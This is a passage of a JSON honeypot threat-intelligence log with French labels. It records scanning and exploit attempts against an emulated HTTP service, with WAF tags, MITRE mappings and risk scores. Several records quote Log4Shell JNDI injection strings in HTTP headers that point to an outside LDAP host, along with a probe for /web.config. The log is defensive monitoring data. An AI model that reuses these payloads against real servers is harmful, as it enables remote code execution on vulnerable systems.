62.3.50.33:20626\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4601\/Log4ShellPayload}\\r\\nX-Forwarded-For: ${jndi:ldap:\/\/192.168.195.130:4601\/Log4ShellPayload}\\r\\nX-Api-Version: ${jndi:ldap:\/\/192.16\u0022, \u0022payload_snippet\u0022: \u0022GET \/search HTTP\/1.1\\r\\nHost: 62.3.50.33:20626\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:46\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre_techniques\u0022: [\u0022T1190\u0022, \u0022T1059\u0022], \u0022mitre\u0022: \u0022T1190\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00222f2ca0eeb2a77faf5de06c3246a3994c48a4913c\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/search\u0022, \u0022request_line\u0022: \u0022GET \/search HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4601\/Log4ShellPayload}\u0022, \u0022port\u0022: 20626, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/search HTTP\/1.1\\r\\nHost: 62.3.50.33:20626\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:46\u0022, \u0022attack_vector\u0022: \u0022log4j jndi \u00b7 via HTTP:20626 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/search\u0022, \u0022target_port_label\u0022: \u002220626 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 6 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE T1190 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (63 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 94.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 77, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022exploitation\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Exploitation\u0022, \u0022risk_score\u0022: 77, \u0022risk_label\u0022: \u0022\u00c9lev\u00e9\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 20626, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1190\u0022, \u0022mitre_technique\u0022: \u0022T1190\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_rapide\u0022, \u0022campagne_ports\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan rapide multi-ports\u0022, \u0022Campagne multi-ports\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/search\u0022, \u0022request_line\u0022: \u0022GET \/search HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4601\/Log4ShellPayload}\u0022, \u0022port\u0022: 20626, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022log4j jndi \u00b7 via HTTP:20626 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/search\u0022, \u0022evidence_snippet\u0022: \u0022GET \/search HTTP\/1.1\\r\\nHost: 62.3.50.33:20626\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:46\u0022, \u0022target_port_label\u0022: \u002220626 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 6 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 6 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploitation\u0022, \u0022label_fr\u0022: \u0022Exploitation\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u002220626\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 33, \u0022port_scan_ports_sample\u0022: [20498, 20500, 20501, 20504, 20539, 20571, 20572, 20573, 20575, 20576, 20577, 20599, 20601, 20615, 20616, 20617], \u0022rapid_port_scan\u0022: true, \u0022rapid_scan_distinct_ports\u0022: 17, \u0022scan_velocity_ports_per_s\u0022: 3.4, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 63, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022port:20361\u0022, \u0022port:20480\u0022, \u0022port:20493\u0022, \u0022port:20495\u0022, \u0022port:20496\u0022, \u0022port:20498\u0022, \u0022port:20499\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022rapid_port_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022exploitation\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022951011:log4shell-jndi\u0022, \u0022http_dns_rebinding\u0022, \u0022http_header_x-forwarded-for\u0022, \u0022http_header_x-forwarded-host\u0022, \u0022http_host_mismatch\u0022, \u0022net_port_scan_fast\u0022]}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33:20626","http_user_agent":"${jndi:ldap:\/\/192.168.195.130:4601\/Log4ShellPayload}","http_referer":"${jndi:ldap:\/\/192.168.195.130:4601\/Log4ShellPayload}","tags":"[\u0022950326:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022951011:log4shell-jndi\u0022, \u0022http_dns_rebinding\u0022, \u0022http_header_x-forwarded-for\u0022, \u0022http_header_x-forwarded-host\u0022, \u0022http_host_mismatch\u0022, \u0022net_port_scan_fast\u0022]","anomalies":"[]","severity":10,"bytes_in":498},{"id":7106411,"ip":"185.244.155.23","ts":"2026-10-23 11:45:49.000000","proto":"tcp","src_port":23168,"dst_port":31832,"service":"http","classification":"port_scan_syn","waf_score":13,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022]","http_method":"GET","http_target":"\/web.config","sensor_id":"paris-1","meta":"{\u0022http_header_count\u0022: 5, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 1, \u0022http_path_ext\u0022: \u0022config\u0022, \u0022http_ua_hash\u0022: \u00225002ada1c05fac60ce2af638d5f54066641d121c\u0022, \u0022http_host_hash\u0022: \u00220991dad1e85d945fa26d249d6238901b89cb8349\u0022, \u0022http_target_hash\u0022: \u0022fb61e36fe9095535f127e3353d957f1c1310e8e9\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 179, \u0022payload_entropy\u0022: 5.199011692965391, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 206206, \u0022country\u0022: \u0022IQ\u0022, \u0022dst_port\u0022: 31832, \u0022risk_waf\u0022: 60.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 0.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 15.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 5.6, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 60.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 15.0}, \u0022risk_score\u0022: 47, \u0022tag_count\u0022: 4, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022c7ede2b79f9a3cf249e378e2566417e8f803fc8a\u0022, \u0022event_fingerprint\u0022: \u00229e80d17f5613ce28d41b7248c25528b331f30fad\u0022, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 293, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 60.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 47, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022IQ\u0022, \u0022asn\u0022: 206206, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u002263279522febcf5538b72996c16a8660f\u0022, \u0022payload_hash\u0022: \u00226796f1d0cd43383799b9b8781ceb99b1\u0022, \u0022path_pattern_hash\u0022: \u00220913647d7e838cdd727ceda37a671f37\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 31832, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 47}, \u0022payload_preview\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) App\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/web.config\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/web.config HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\\r\\nAccept: *\/*\\r\\nConnection: close\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) App\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/web.config\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/web.config HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\\r\\nAccept: *\/*\\r\\nConnection: close\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) App\u0022, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022monitor\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00227899d09b7f3a7a6033bf7286f0a08033b8f53613\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/web.config\u0022, \u0022request_line\u0022: \u0022GET \/web.config HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022port\u0022: 31832, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) App\u0022, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:31832 \u00b7 (reconnaissance) \u00b7 \u2192 \/web.config\u0022, \u0022target_port_label\u0022: \u002231832 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 2 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 47\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (63 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 60.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 47, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 47, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 31832, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Scan Burst\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022monitor\u0022, \u0022recommended_action_label\u0022: \u0022Surveiller\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_rapide\u0022, \u0022campagne_ports\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan rapide multi-ports\u0022, \u0022Campagne multi-ports\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/web.config\u0022, \u0022request_line\u0022: \u0022GET \/web.config HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022port\u0022: 31832, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:31832 \u00b7 (reconnaissance) \u00b7 \u2192 \/web.config\u0022, \u0022evidence_snippet\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) App\u0022, \u0022target_port_label\u0022: \u002231832 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 2 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 60 \u00b7 Bonus corr\u00e9lation +18 \u00b7 2 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u002231832\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 33, \u0022port_scan_ports_sample\u0022: [20498, 20500, 20501, 20504, 20539, 20571, 20572, 20573, 20575, 20576, 20577, 20599, 20601, 20615, 20616, 20617], \u0022rapid_port_scan\u0022: true, \u0022rapid_scan_distinct_ports\u0022: 17, \u0022scan_velocity_ports_per_s\u0022: 3.44, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 63, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022port:20361\u0022, \u0022port:20480\u0022, \u0022port:20493\u0022, \u0022port:20495\u0022, \u0022port:20496\u0022, \u0022port:20498\u0022, \u0022port:20499\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022rapid_port_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022matched_patterns\u0022: [], \u0022ban_policy\u0022: \u0022advisory_monitor\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022http_sensitive_path\u0022, \u0022net_port_scan_fast\u0022]}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33","http_user_agent":"Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022http_sensitive_path\u0022, \u0022net_port_scan_fast\u0022]","anomalies":"[]","severity":7,"bytes_in":179},{"id":7106410,"ip":"185.244.155.23","ts":"2026-10-23 11:45:49.000000","proto":"tcp","src_port":30862,"dst_port":20639,"service":"http","classification":"log4j_jndi","waf_score":80,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950407:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950419:jndi-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022951010:log4shell-jndi\u0022, \u0022951011:log4shell-jndi\u0022]","http_method":"POST","http_target":"\/login","sensor_id":"paris-1","meta":"{\u0022http_header_count\u0022: 10, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 1, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u0022a26b02c706d6b7043e1888596f91823269f474e3\u0022, \u0022http_host_hash\u0022: \u0022c7962850175bd302b00a401e535bd8eac3529636\u0022, \u0022http_target_hash\u0022: \u0022c42c80aa06113268fddf90dfdc871fb7318ff5cf\u0022, \u0022http_referer_hash\u0022: \u0022a26b02c706d6b7043e1888596f91823269f474e3\u0022, \u0022http_method\u0022: \u0022POST\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: false, \u0022bytes_in\u0022: 623, \u0022payload_entropy\u0022: 5.3269001711749375, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 206206, \u0022country\u0022: \u0022IQ\u0022, \u0022dst_port\u0022: 20639, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 94.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 0.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 48, \u0022risk_granularity\u0022: 6.8, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 94.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 100, \u0022tag_count\u0022: 22, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022c6d5b82c2dd2be828dcdfbaebed4b51ba96d8948\u0022, \u0022event_fingerprint\u0022: \u0022d486a445aa27da465fb21db8ab3fcc5fcb27f86c\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 582, \u0022precision_signals\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022INT-http_log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022kb_rule_ids\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022INT-http_log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022matched_patterns\u0022: [\u0022pat-fb-001\u0022], \u0022matched_pattern_names\u0022: [\u0022Log4j JNDI\u0022], \u0022pattern_ids\u0022: [\u0022pat-fb-001\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 94.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 100, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, 